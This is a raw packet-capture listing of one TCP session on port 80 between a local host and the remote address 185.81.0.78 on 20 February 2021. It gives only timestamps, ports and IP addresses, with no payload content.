Feb 20, 2021 02:03:50.970136881 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.970144033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.970190048 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.970191002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.970228910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.970244884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.970267057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.970276117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.970324039 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.970417023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.970449924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.970479012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.970520020 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.970554113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.970560074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.970597982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.970612049 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.970643997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.970717907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.970756054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.970771074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.970804930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.970864058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.970911026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.970925093 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.970952034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.971015930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.971072912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.971074104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.971110106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.971126080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.971153975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.971257925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.971307993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.971313953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.971362114 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.971365929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.971401930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.971419096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.971445084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.971447945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.971496105 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.971576929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.971613884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.971631050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.971656084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.972400904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.972450972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.972469091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.972502947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.972543001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.972580910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.972599030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.972625971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.972692013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.972747087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.972841024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.972881079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.972904921 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.972919941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.972933054 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.972965002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.973023891 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.973076105 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.973119020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.973166943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.973179102 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.973217010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.973218918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.973270893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.973275900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.973311901 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.973350048 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.973351002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.973364115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.973400116 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.973475933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.973534107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.973536968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.973578930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.973591089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.973618984 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.973624945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.973678112 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.973752022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.973794937 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.973809004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.973831892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.973834038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.973885059 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.973953962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.974004984 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.974664927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.974725008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.974771023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.974838972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.974886894 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.974935055 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.974946976 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.974992037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.974997044 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.975028992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.975045919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.975065947 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.975075006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.975105047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.975208044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.975246906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.975266933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.975300074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.975342035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.975377083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.975414991 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.975445986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.975471020 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.975503922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.975543022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.975555897 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.975579023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.975591898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.975644112 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.975691080 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.975732088 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.975744963 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.975769043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.975771904 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.975821018 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.975871086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.975913048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.975933075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.975953102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.975963116 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.976003885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.976062059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.976109982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.976116896 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.976166010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.976210117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.976248980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.976264954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.976291895 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.976294041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.976346970 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.976349115 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.976385117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.976407051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.976432085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.976434946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.976473093 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.976510048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.976531029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.976555109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.976569891 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.976588964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.976608992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.976633072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.976648092 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.976680040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.976702929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.976720095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.976737976 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.976777077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.976816893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.976901054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.976943016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.977018118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.977040052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.977058887 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.977076054 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.977108002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.977149010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.977189064 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.977229118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.977241039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.977282047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.987994909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.025927067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.025955915 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.026002884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.026026011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.026093006 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.026118040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.026141882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.026163101 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.026179075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.026211023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.026261091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.026304960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.026361942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.027092934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.027168036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.027184010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.027214050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.027266026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.027304888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.027539968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.027581930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.027595997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.027607918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.027626038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.027631998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.027645111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.027668953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.027693033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.027734041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.027760983 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.027829885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.027869940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.027877092 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.027894974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.027911901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.027930975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.027988911 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.028012037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.028038979 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.028053999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.028084040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.028126955 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.028177977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.028219938 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.028285027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.028326988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.028352022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.028393030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.028393030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.028434038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.028435946 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.028472900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.028472900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.028512955 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.028553009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.028594017 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.028630018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.028654099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.028677940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.028696060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.028804064 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.028847933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.028898954 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.028928041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.028939009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.028969049 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.028971910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.028996944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.029011011 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.029031038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.029088020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.029135942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.029182911 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.029254913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.029315948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.029356956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.029357910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.029381037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.029400110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.029421091 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.029428005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.029462099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.029638052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.029665947 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.029690027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.029691935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.029704094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.029730082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.029745102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.029786110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.029793978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.029828072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.029830933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.029864073 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.029891014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.029930115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.029990911 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.030021906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.030033112 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.030057907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.030097008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.030134916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.030211926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.030251980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.030289888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.030327082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.030406952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.030463934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.030565977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.030590057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.030607939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.030611038 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.030647993 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.030770063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.030817032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.030942917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.030967951 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.030983925 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.031008005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.031114101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.031155109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.031156063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.031192064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.031199932 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.031239986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.031342983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.031383991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.031400919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.031440973 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.031445026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.031466007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.031481981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.031584024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.031609058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.031610966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.031620026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.031637907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.031754971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.031780958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.031801939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.031820059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.031821012 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.031842947 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.031903028 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.031913996 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.031955004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.032066107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.032111883 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.032149076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.032187939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.032418966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.032444954 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.032464027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.032475948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.032569885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.032608986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.032727957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.032767057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.032856941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.032896042 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.033080101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.033123970 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.033140898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.033170938 CET	80	49165	185.81.0.78	192.168.2.22
